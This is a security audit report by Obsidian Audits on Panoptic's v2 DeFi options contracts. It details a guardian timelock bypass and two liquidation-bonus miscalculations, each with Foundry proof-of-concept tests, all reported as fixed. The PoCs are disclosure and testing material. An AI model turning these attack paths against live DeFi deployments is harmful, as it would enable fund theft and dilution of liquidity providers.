Obsidian
AUDITS

Panoptic Security Review

Auditors
0xjuaan
0xSpearmint

May 6, 2026

Introduction

Obsidian Audits

Obsidian audits is a team of top-ranked security researchers, with a publicly proven track record, specialising in DeFi protocols across EVM chains and Solana.

The team has achieved 10+ top-2 placements in audit competitions, placing 1st in competitions for Wormhole, Pump.fun, Yearn Finance, and many more.

Find out more: obsidianaudits.com

Audit Overview

Panoptic is a permissionless options trading protocol built on Uniswap v3 & v4.

Panoptic engaged Obsidian Audits to perform a security review of a targeted scope within the `panoptic-v2-core` repo, covering the files listed below. The review was conducted from May 5, 2026 to May 6, 2026.

Scope

Files in scope

Repo	Files in scope
`panoptic-v2-core` **Audit commit hash:** d20b0aed127ab5d3e5ca17c5399782aad2f0ff4c **Initial fix review commit hash:** 94fab92f45489f1f0b10c2893713d9cb50ba4c4f **Final fix review commit hash:** 5555b320663385f0ab0c8fa511c74d4f0e34cb80	`contracts/PanopticGuardian.sol` (entire file) `contracts/Builder.sol#L69-L93` (`execute` in BuilderWallet) `contracts/RiskEngine.sol#L525-L545` (liquidation bonus cap)

Summary of Findings

Severity Breakdown

A total of **4** issues were identified and categorized based on severity:

- **3 Medium severity**
- **1 Informational**

Findings Overview

ID	Title	Severity	Status
M-01	`PanopticGuardian.requestUnlock` can be called while a pool is still unlocked, bypassing the timelock	Medium	Fixed
M-02	Cross-collateralized loans have zero liquidation bonus	Medium	Fixed
Fix-Review-M-01	Cross-collateralized liquidations significantly overpay bonus, enabling profitable self liquidations	Medium	Fixed
I-01	Redundant zero-address check	Informational	Fixed

Severity Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact

- **High -** leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- **Medium -** leads to a moderate material loss of assets in the protocol or moderately harms a group of users. Alternatively, breaking a core aspect of the protocol's intended functionality
- **Low -** leads to a minor material loss of assets in the protocol or harms a small group of users.

Likelihood

- **High -** attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- **Medium -** the attack/vulnerability requires minimal or no preconditions, but there is limited or no incentive to exploit it in practice
- **Low -** requires highly unlikely precondition states, or requires a significant attacker capital with little or no incentive.

Findings

[M-01] `PanopticGuardian.requestUnlock` can be called while a pool is still unlocked, bypassing the timelock

Description

`PanopticGuardian.requestUnlock` does not check that the target pool is currently locked, and `unlockEta[pool]` never expires. The guardian admin can therefore "pre-arm" an unlock on an unlocked pool, let the 1-hour `UNLOCK_DELAY` elapse, and hold a matured ETA indefinitely.

`lockPoolAsBuilder` deliberately does **not** clear `unlockEta` (NatSpec lines 156–161: so a builder cannot extend the guardian admin's unlock schedule). By calling `requestUnlock()` while the target pool is already unlocked, the time any builder locks the pool, the guardian admin can call `executeUnlock` in the same block and undo the lock with zero seconds of notice.

Net effect: every builder-initiated emergency lock on a pre-armed pool is silently neutralized. The timelock that protects users from a compromised guardian admin during builder responses provides no notice in this path.

Proof of concept

Added to `test/foundry/test_periphery/Guardian.t.sol`.

```
/// @notice PoC: guardian admin pre-arms an unlock on an unlocked pool,
waits
/// out UNLOCK_DELAY, then unwinds a builder lock in the same block —
the 1h
/// notice is fully bypassed.
function testPoC_PreArmedUnlockBypassesTimelockOnBuilderLock() external
{
    vm.prank(GUARDIAN_ADMIN);
    address wallet = guardian.deployBuilder(
        11,
        BUILDER_ADMIN,
        BuilderFactory(address(factory))
    );
    recognizedRiskEngine.setFeeRecipient(11, wallet);

    // 1. Pool unlocked. Guardian admin pre-arms requestUnlock anyway.
    //    No staleness/locked-state check on the pool.
    vm.prank(GUARDIAN_ADMIN);
    guardian.requestUnlock(PanopticPoolV2(address(recognizedPool)));
    uint256 eta =
guardian.unlockEta(PanopticPoolV2(address(recognizedPool)));
```

```
    assertEq(eta, block.timestamp + guardian.UNLOCK_DELAY());

    // 2. Time passes past ETA. unlockEta has no expiry.
    vm.warp(eta + 7 days);

    // 3. Builder admin locks the pool. lockPoolAsBuilder does NOT
clear unlockEta.
    vm.prank(BUILDER_ADMIN);
    guardian.lockPoolAsBuilder(PanopticPoolV2(address(recognizedPool)),
11);
    assertEq(recognizedRiskEngine.lockCalls(), 1);
    assertEq(
        guardian.unlockEta(PanopticPoolV2(address(recognizedPool))),
        eta,
        "pre-arm survives builder lock"
    );

    // 4. Guardian admin instantly unlocks in the SAME block as the
builder lock.
    uint256 timestampOfBuilderLock = block.timestamp;
    vm.prank(GUARDIAN_ADMIN);
    guardian.executeUnlock(PanopticPoolV2(address(recognizedPool)));

    assertEq(block.timestamp, timestampOfBuilderLock, "no time elapsed
since lock");
    assertEq(recognizedRiskEngine.unlockCalls(), 1, "unlock fired");

 assertEq(guardian.unlockEta(PanopticPoolV2(address(recognizedPool))),
0);
}
```

Run:

```
forge test --match-path test/foundry/test_periphery/Guardian.t.sol \
  --match-test PoC_PreArmed -vv
```

Recommendation

Consider adding an `isSafeModeLocked()` view on `PanopticPool` that returns whether the lock bit on `s_oraclePack` is set. In `PanopticGuardian.requestUnlock`, call this view and revert with `PoolNotLocked` if it returns false.

Remediation: Fixed in commit 60a3433

[M-02] Cross-collateralized loans have zero liquidation bonus

Description

The liquidation flow pays liquidators a bonus computed in `getLiquidationBonus` (RiskEngine.sol:506). For each token the initial bonus is `min((bal * MAX_BONUS) / DECIMALS, req - bal)`. A subsequent clamp at L535-544 prevents loans from inflating the bonus: if the bonus implies a balance above the user's non-loan collateral, it is recomputed as `(MAX_BONUS * (bal - loan)) / DECIMALS`, falling to zero when `bal <= loan`.

For a fully cross-collateralized borrower (only token1 deposited, borrows token0), loan creation mints token0 shares to the borrower, so `bal0` is entirely loan-derived (`bal0 ≈ loan0`) and the borrower's only real collateral is in token1. The bonus then zeroes out from both sides:

- **token0**: there is a shortfall (`req0 > bal0`), so the initial `min` produces a positive `bonus0`, but the clamp sees `bal0 ≤ loan0` and rewrites `bonus0` to zero.
- **token1**: there is no shortfall (`req1 ≤ bal1`), so the initial `min`'s shortfall term is zero and `bonus1` is zero before the clamp is even consulted.

Proof of concept

Add the following test to `misc.t.sol`

```
function test_Success_loanBonusClamp_crossCollateralized_zeroBonus()
public {
    // Bob: withdraw setUp deposits, redeposit ONLY token1
    vm.startPrank(Bob);
    ct0.withdraw(ct0.maxWithdraw(Bob), Bob, Bob);
    ct1.withdraw(ct1.maxWithdraw(Bob), Bob, Bob);
    token1.approve(address(ct1), 1_000_000);
    ct1.deposit(1_000_000, Bob);

    // Open a token0 loan (short put), 5x deposit
    poolId = uint40(uint256(PoolId.unwrap(poolKey.toId()))) +
uint64(uint256(vegoid) << 40);
    poolId += uint64(uint24(uniPool.tickSpacing())) << 48;
    $posIdList.push(TokenId.wrap(0).addPoolId(poolId).addLeg(0, 1, 0,
0, 0, 0, 0, 0));
    mintOptions(pp, $posIdList, 5_000_000, type(uint24).max / 2,
        Constants.MIN_POOL_TICK, Constants.MAX_POOL_TICK, true);

    // Pump token0 price (tick 0 to 10000, ~2.72x), past the
liquidation edge
    vm.startPrank(Swapper);
```

```
    swapperc.mint(uniPool, -800000, 800000, 10 ** 18);
    routerV4.modifyLiquidity(address(0), poolKey, -800000, 800000, 10
** 18);
    routerV4.swapTo(address(0), poolKey,
Math.getSqrtRatioAtTick(10000));
    swapperc.swapTo(uniPool, Math.getSqrtRatioAtTick(10000));
    for (uint256 j = 0; j < 10000; ++j) {
        vm.warp(block.timestamp + 3600);
        vm.roll(block.number + 10);
        pp.pokeOracle();
    }

    // Liquidate as Alice
    vm.startPrank(Alice);
    deal(ct0.asset(), Alice, 100_000_000);
    deal(ct1.asset(), Alice, 100_000_000);
    IERC20Partial(ct0.asset()).approve(address(ct0), 100_000_000);
    IERC20Partial(ct1.asset()).approve(address(ct1), 100_000_000);

    uint256 ctBefore0 = ct0.convertToAssets(ct0.balanceOf(Alice));
    uint256 ctBefore1 = ct1.convertToAssets(ct1.balanceOf(Alice));
    uint256 walletBefore0 = token0.balanceOf(Alice);
    uint256 walletBefore1 = token1.balanceOf(Alice);

    liquidate(pp, new TokenId[](0), Bob, $posIdList);

    int256 totalGain0 =
(int256(ct0.convertToAssets(ct0.balanceOf(Alice))) -
        int256(ctBefore0)) + (int256(token0.balanceOf(Alice)) -
int256(walletBefore0));
    int256 totalGain1 =
(int256(ct1.convertToAssets(ct1.balanceOf(Alice))) -
        int256(ctBefore1)) + (int256(token1.balanceOf(Alice)) -
int256(walletBefore1));

    (, , , , oraclePack) = pp.getOracleTicks();
    twapTick = re.twapEMA(oraclePack);
    uint160 oracleSqrtPrice = Math.getSqrtRatioAtTick(int24(twapTick));

    int256 token0InToken1Terms = totalGain0 >= 0
        ? int256(PanopticMath.convert0to1(uint256(totalGain0),
oracleSqrtPrice))
        : -int256(PanopticMath.convert0to1(uint256(-totalGain0),
oracleSqrtPrice));

    console2.log("Net liquidator value (token1 terms):", totalGain1 +
token0InToken1Terms);
}
```

Consle Output:

```
Alice total token0 delta: -2811
Alice total token1 delta:  7639
twapTick: 9999
Net liquidator value (token1 terms): 0
```

Recommendation

Calculate the user's collateral across both tokens, and pay the bonus out of whichever token they collateralise with.

Remediation: Fixed in commit 5555b32

[Fix-Review-M-01] Cross-collateralized liquidations significantly overpay bonus, enabling profitable self liquidations

Description

Consider a borrower with a cross collateralised token0 loan. The bonus formula at `RiskEngine.sol:532-537` computes:

```
bonus0 = min((req0 * MAX_BONUS) / DECIMALS, req0 > bal0 ? req0 - bal0 :
0)
```

With `req0 = 1.1 × loan` and `bal0 = loan − accrued_interest`, the second arm of `min` expands to:

```
req0 − bal0  =  0.1 × loan  +  accrued_interest
                (MMR buffer)    (real shortfall)
```

The MMR buffer (`0.1 × loan`) is not a real shortfall, it is the maintenance margin requirement. The only true protocol shortfall on a token0 loan is the accrued interest.

As a result the bonus is inflated significantly. In the PoC, the formula computes `bonus0 = 500,591 token0` against a real shortfall of `591 token0` of accrued interest. Since the borrower has no real token0 to pay this inflated bonus, the cross-conversion at L571-578 drains their entire token1 surplus, and the remainder is minted to the liquidator at `CollateralTracker.sol:1363`, unnecessarily diluting CT0 LPs (`ProtocolLossRealized` fires with `protocolLossAssets = 28,749`).

Proof of concept

Replace the existing `test_Success_loanBonusClamp_crossCollateralized_zeroBonus` in `test/foundry/core/Misc.t.sol` with the following:

```
function test_Success_loanBonusClamp_crossCollateralized_zeroBonus()
public {
    // Bob: withdraw setUp deposits, redeposit ONLY token1
    vm.startPrank(Bob);
    ct0.withdraw(ct0.maxWithdraw(Bob), Bob, Bob);
    ct1.withdraw(ct1.maxWithdraw(Bob), Bob, Bob);
    token1.approve(address(ct1), 1_000_000);
    ct1.deposit(1_000_000, Bob);

    // Open a token0 loan (width-0 short), 5x deposit
```

```
    poolId = uint40(uint256(PoolId.unwrap(poolKey.toId()))) +
uint64(uint256(vegoid) << 40);
    poolId += uint64(uint24(uniPool.tickSpacing())) << 48;
    $posIdList.push(TokenId.wrap(0).addPoolId(poolId).addLeg(0, 1, 0,
0, 0, 0, 0, 0));
    mintOptions(
        pp,
        $posIdList,
        5_000_000,
        type(uint24).max / 2,
        Constants.MIN_POOL_TICK,
        Constants.MAX_POOL_TICK,
        true
    );

    // Pump token0 price (tick 0 to 7500, ~2.12x), just past
liquidation edge
    vm.startPrank(Swapper);
    swapperc.mint(uniPool, -800000, 800000, 10 ** 18);
    routerV4.modifyLiquidity(address(0), poolKey, -800000, 800000, 10
** 18);
    routerV4.swapTo(address(0), poolKey,
Math.getSqrtRatioAtTick(7500));
    swapperc.swapTo(uniPool, Math.getSqrtRatioAtTick(7500));
    // Minimal warps: just enough for TWAP to catch up — rules out
interest accrual
    for (uint256 j = 0; j < 100; ++j) {
        vm.warp(block.timestamp + 600);
        vm.roll(block.number + 1);
        pp.pokeOracle();
    }

    // Liquidate as a FRESH liquidator with no prior CT balance
    address Liquidator = address(0xCAFE);
    vm.startPrank(Liquidator);
    deal(ct0.asset(), Liquidator, 100_000_000);
    deal(ct1.asset(), Liquidator, 100_000_000);
    IERC20Partial(ct0.asset()).approve(address(ct0), 100_000_000);
    IERC20Partial(ct1.asset()).approve(address(ct1), 100_000_000);

    _logBalReq("BEFORE Bob", Bob, $posIdList);

    console2.log("Liquidator BEFORE wallet token0:",
token0.balanceOf(Liquidator));
    console2.log("Liquidator BEFORE wallet token1:",
token1.balanceOf(Liquidator));
    console2.log("Liquidator BEFORE ct0 shares:",
ct0.balanceOf(Liquidator));
    console2.log("Liquidator BEFORE ct1 shares:",
ct1.balanceOf(Liquidator));

    vm.recordLogs();
    liquidate(pp, new TokenId[](0), Bob, $posIdList);
```

```
    Vm.Log[] memory entries = vm.getRecordedLogs();
    bytes32 sig =
keccak256("ProtocolLossRealized(address,address,uint256,uint256)");
    for (uint256 i = 0; i < entries.length; i++) {
        if (entries[i].topics.length > 0 && entries[i].topics[0] ==
sig) {
            (uint256 a, uint256 s) = abi.decode(entries[i].data,
(uint256, uint256));
            console2.log("!! ProtocolLossRealized emitted (Path A /
mint hit) !!");
            console2.log("   ct:", entries[i].emitter);
            console2.log("   protocolLossAssets:", a);
            console2.log("   protocolLossShares:", s);
        }
    }

    console2.log("Liquidator AFTER wallet token0:",
token0.balanceOf(Liquidator));
    console2.log("Liquidator AFTER wallet token1:",
token1.balanceOf(Liquidator));
    console2.log("Liquidator AFTER ct0 underlying:",
ct0.convertToAssets(ct0.balanceOf(Liquidator)));
    console2.log("Liquidator AFTER ct1 underlying:",
ct1.convertToAssets(ct1.balanceOf(Liquidator)));
}

function _logBalReq(string memory label, address user, TokenId[] memory
ids) internal {
    (
        LeftRightUnsigned _shortPrem,
        LeftRightUnsigned _longPrem,
        PositionBalance[] memory _posBal,
        ,
    ) = pp.getFullPositionsData(user, false, ids);
    (, , , , oraclePack) = pp.getOracleTicks();
    int24 _twap = re.twapEMA(oraclePack);
    (LeftRightUnsigned _td0, LeftRightUnsigned _td1, ) = re.getMargin(
        _posBal,
        _twap,
        user,
        ids,
        _shortPrem,
        _longPrem,
        ct0,
        ct1
    );
    console2.log(label);
    console2.log("  bal0:", _td0.rightSlot());
    console2.log("  bal1:", _td1.rightSlot());
    console2.log("  req0:", _td0.leftSlot());
    console2.log("  req1:", _td1.leftSlot());
}
```

Output

```
BEFORE Bob
    bal0: 4999409
    bal1: 1000000
    req0: 5500000
    req1: 0
Liquidator BEFORE wallet token0: 100000000
Liquidator BEFORE wallet token1: 100000000
Liquidator BEFORE ct0 shares: 0
Liquidator BEFORE ct1 shares: 0
!! ProtocolLossRealized emitted (Path A / mint hit) !!
   protocolLossAssets: 28749
   protocolLossShares: 28750000000
Liquidator AFTER wallet token0: 100000000
Liquidator AFTER ct0 underlying: 28158
Liquidator AFTER ct1 underlying: 1000000
```

Recommendation

Cap the bonus on the borrower's real (non-loan) cross token equity instead of on `req`. Anchoring on `req` is unsound because `req = 1.1 × loan`, so the cap scales with the loan principal rather than with the user's actual collateral.

Also ensure the liquidator actually pays the shortfall created on the loan token (in this case, the accumulated interest).

Remediation: Fixed in commit 5555b32

[I-01] Redundant zero-address check

Description

`BuilderWallet.init` reverts if `_builderAdmin == address(0)`. A similar check is performed upstream in `PanopticGuardian.deployBuilder`, which validates `builderAdmin != address(0)` before forwarding the call to `BuilderFactory.deployBuilder`, which in turn calls `BuilderWallet.init`.

Since the code path that reaches `init` flows through the Guardian's prior check, the Guardian-side validation is redundant.

Recommendation

Consider removing the `if (builderAdmin == address(0)) revert ZeroAddress();` check in `PanopticGuardian.deployBuilder`, since the check will be performed downstream by `BuilderWallet.init`

Remediation: Fixed in commit 5945ad4